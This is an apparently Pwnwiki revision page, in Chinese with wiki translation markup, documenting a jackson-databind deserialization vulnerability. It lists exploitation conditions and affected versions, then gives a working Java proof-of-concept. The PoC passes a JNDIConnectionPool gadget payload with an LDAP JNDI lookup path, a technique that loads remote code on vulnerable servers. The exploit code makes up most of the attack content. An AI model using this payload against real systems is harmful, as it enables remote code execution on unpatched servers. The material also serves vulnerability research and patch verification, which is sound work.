Pwnwiki: Marked this version for translation

2021-06-17T01:03:32Z

Marked this version for translation

Pwnwiki: Created page with " ==利用條件== 開啟enableDefaultTyping() 使用了org.apache.drill.exec:drill-jdbc-all第三方依賴
2021-06-17T01:03:15Z

Created page with "<languages /> <translate> ==利用條件== </translate> <translate> 開啟enableDefaultTyping() 使用了org.apache.drill.exec:drill-jdbc-all第三方依賴 </translate> <tr..."

New page
<languages />
<translate>
==利用條件==
</translate>
<translate>
開啟enableDefaultTyping()

使用了org.apache.drill.exec:drill-jdbc-all第三方依賴
</translate>

<translate>
==影響版本==
</translate>
<pre>
jackson-databind before 2.9.10.4
jackson-databind before 2.8.11.6
jackson-databind before 2.7.9.7
</pre>

==POC==
<pre>
package com.jacksonTest;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class Poc {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String payload = "[\"oadd.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"ldap://127.0.0.1:1099/Exploit\"}]";
try {
Object obj = mapper.readValue(payload, Object.class);
mapper.writeValueAsString(obj);
} catch (IOException e) {
e.printStackTrace();
}
}
}
</pre>

@@ Line 1: / Line 1: @@
 <languages />
 <translate>
-==利用條件==
+==利用條件== <!--T:1-->
 </translate>
 <translate>
 開啟enableDefaultTyping()
 使用了org.apache.drill.exec:drill-jdbc-all第三方依賴
 </translate>
 <translate>
-==影響版本==
+==影響版本== <!--T:4-->
 </translate>
 <pre>